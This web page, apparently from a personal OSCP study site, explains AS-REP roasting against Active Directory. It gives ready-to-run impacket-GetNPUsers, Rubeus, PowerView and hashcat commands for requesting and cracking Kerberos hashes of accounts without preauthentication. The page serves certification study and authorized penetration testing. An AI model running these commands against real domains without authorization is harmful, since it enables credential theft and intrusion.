Skip to content
leg3ndProjects & tools
01Home02Projects03Tools04Notes
GMT+8
O/ OSCP exploitation reference
Workspace controls Memory only · 0 steps
Visualize path ↗
Command values 0 filled

Temporary connection values clear on reload. Passwords, hashes and tickets remain placeholders. Check address-family syntax in the selected command.

Reference index ↗ Search all procedures & variants ↗
01Discovery02Enumeration03Initial access04Usable access05Local privilege06Active Directory07Internal access08Evidence & reporting

QUICK REFERENCE

Discovery›Services›Web mapping›Web exploitation›Credentials›Public exploits›Sessions & transfers›Linux escalation›Windows escalation›AD enumeration›AD identity attacks›Lateral movement›Pivoting & tunnels›Execution troubleshooting›Integration & evidence›
174 methods · 15 topicsFull reference on GitHub ↗Commands · scripts · next steps
Tools/OSCP/Active Directory/AD identity attacks
← All ad identity attacks tasks

Request AS-REP material for an account without preauthentication

CommandsIf → thenExplanation & examples

Needs: Account with preauthentication disabled, KDC reachability and a supported returned encryption type; no-password and authenticated-discovery contexts differ

Why AS-REP roasting works

Ordinary Kerberos preauthentication makes the user prove knowledge of the long-term key before the KDC returns AS-REP material. If the account has DONT_REQUIRE_PREAUTH, an unauthenticated requester can ask for an AS-REP whose encrypted component can be tested offline against password candidates.

# Why AS-REP roasting works
KNOWN USERNAME + PREAUTH DISABLED + KDC REACHABLE
-> AS-REP CIPHER
-> OFFLINE GUESSING
-> PASSWORD ONLY IF A CANDIDATE VERIFIES

One known user, no password

# One known user, no password
impacket-GetNPUsers 'DOMAIN/TARGET_USER' -no-pass -request \
  -dc-ip DC_IP -outputfile asrep-TARGET_USER.hashes

# Supplied user list, no password
impacket-GetNPUsers 'DOMAIN/' -no-pass -request -usersfile users.txt \
  -dc-ip DC_IP -outputfile asrep.hashes

# Authenticated directory-backed discovery
impacket-GetNPUsers 'DOMAIN/USER' -request \
  -dc-ip DC_IP -outputfile asrep.hashes

Windows/Rubeus alternative

REM Windows/Rubeus alternative
Rubeus.exe asreproast /user:TARGET_USER /domain:DOMAIN /dc:DC_HOST /outfile:asrep.hashes /format:hashcat

Interpret before cracking

OutputMeaningNext action
$krb5asrep$23$RC4 AS-REP offline verifierHashcat mode 18200
AS-REP with another etypeDifferent cipher/formatMatch the exact prefix to installed Hashcat/John support
KDC_ERR_C_PRINCIPAL_UNKNOWNUser/realm not foundRecheck spelling, realm and DC
Preauthentication required / no UF_DONT_REQUIRE_PREAUTHAccount is not roastable through this methodDisprove this path for that account
Timeout/name errorKDC route/DNS problemFix route/FQDN/time before account conclusions
# Interpret before cracking
hashcat -m 18200 asrep.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 18200 asrep.hashes --show

Do not call the account compromised because a hash was captured. Only a verified offline candidate produces a password, and that password still needs identity/access mapping.

Verify → Verify the account, realm, response format/encryption type and recovered credential if cracking succeeds.

If it fails → Preauthentication-required disproves this method for that account; unknown user, route and clock failures have different meanings. More detail ↓

If → then

  • A supported stored verifier or converted protected artifact → Recover passwords with feasible dictionary, rule and mask attacks

    Needs: Correct format/mode, complete salt/context, justified candidates and an available offline tool/backend

  • A password tied to a plausible user and service → Validate known passwords and context-specific reuse

    Needs: Correct local/domain/application identity, reachable compatible service, accepted authentication and account state

  • A user-owned SPN and a useful service-account relationship → Request a selected service ticket for offline service-account recovery

    Needs: A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Request AS-REP material for an account without preauthentication

USE WHEN
A known user or directory flag indicates Kerberos preauthentication is disabled
STARTING ACCESS
A known domain username for a password-free request, or an authenticated bind for directory-backed discovery
RESULT
A correctly formatted offline password-recovery artifact

Recognize the clue

With an authenticated directory view inspect userAccountControl; without a bind, use only the documented known-user/no-password KDC path and distinguish its replies.

Get-DomainUser -Properties samaccountname,useraccountcontrol |
  Select-Object samaccountname,@{n='UAC';e={[int]$_.useraccountcontrol}} |
  Where-Object { ($_.UAC -band 0x400000) -ne 0 }
SYNTHETIC EXAMPLE OUTPUT
samaccountname  UAC
TARGET_USER    4194816
Bit 0x400000: set

Means: The DONT_REQUIRE_PREAUTH bit is set. Test the bit, not equality to one whole decimal value, because other flags coexist.

Confirm: Check account state, KDC route, response/encryption type and feasible recovery; no-password discovery requires a real known username.

After validation
The selected enabled account returns the supported AS-REP artifact: choose its offline recovery path.
Ruled out in this context
The KDC requires preauthentication for that account: reject AS-REP roasting for that identity.
Still inconclusive
An unknown user or KDC timeout says nothing about the preauthentication setting.

Troubleshooting: Preauthentication-required disproves this method for that account; unknown user, route and clock failures have different meanings.

Additional prerequisite checks

impacket-GetNPUsers 'DOMAIN/USER' -no-pass -dc-ip DC_IP
Why AS-REP roasting works

Ordinary Kerberos preauthentication makes the user prove knowledge of the long-term key before the KDC returns AS-REP material. If the account has DONT_REQUIRE_PREAUTH, an unauthenticated requester can ask for an AS-REP whose encrypted component can be tested offline against password candidates.

One known user, no password
Supplied user list, no password
Authenticated directory-backed discovery

Omitting the password from the target lets the tool prompt rather than storing it in shell history.

Windows/Rubeus alternative
Interpret before cracking
OutputMeaningNext action
$krb5asrep$23$RC4 AS-REP offline verifierHashcat mode 18200
AS-REP with another etypeDifferent cipher/formatMatch the exact prefix to installed Hashcat/John support
KDC_ERR_C_PRINCIPAL_UNKNOWNUser/realm not foundRecheck spelling, realm and DC
Preauthentication required / no UF_DONT_REQUIRE_PREAUTHAccount is not roastable through this methodDisprove this path for that account
Timeout/name errorKDC route/DNS problemFix route/FQDN/time before account conclusions

Do not call the account compromised because a hash was captured. Only a verified offline candidate produces a password, and that password still needs identity/access mapping.

Why it works

Without preauthentication, the KDC can return an encrypted AS response whose relevant part permits offline guessing of the account's password-derived key. Receiving it does not reveal the password.

Worked example · hypothetical

Observation: an account is marked without preauthentication. Test: request only its AS-REP material. Illustrative output: a supported hash-format response returns. Interpretation: use the format's correct offline mode and validate any recovered password.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗
HomeProjectsToolsNotes
Interactive toolsOSCP notes ↗Extended OSCP workspace ↗Attack-path visualizer ↗

© 2026 Armaan. Built with curiosity.

GitHub ↗GMT+8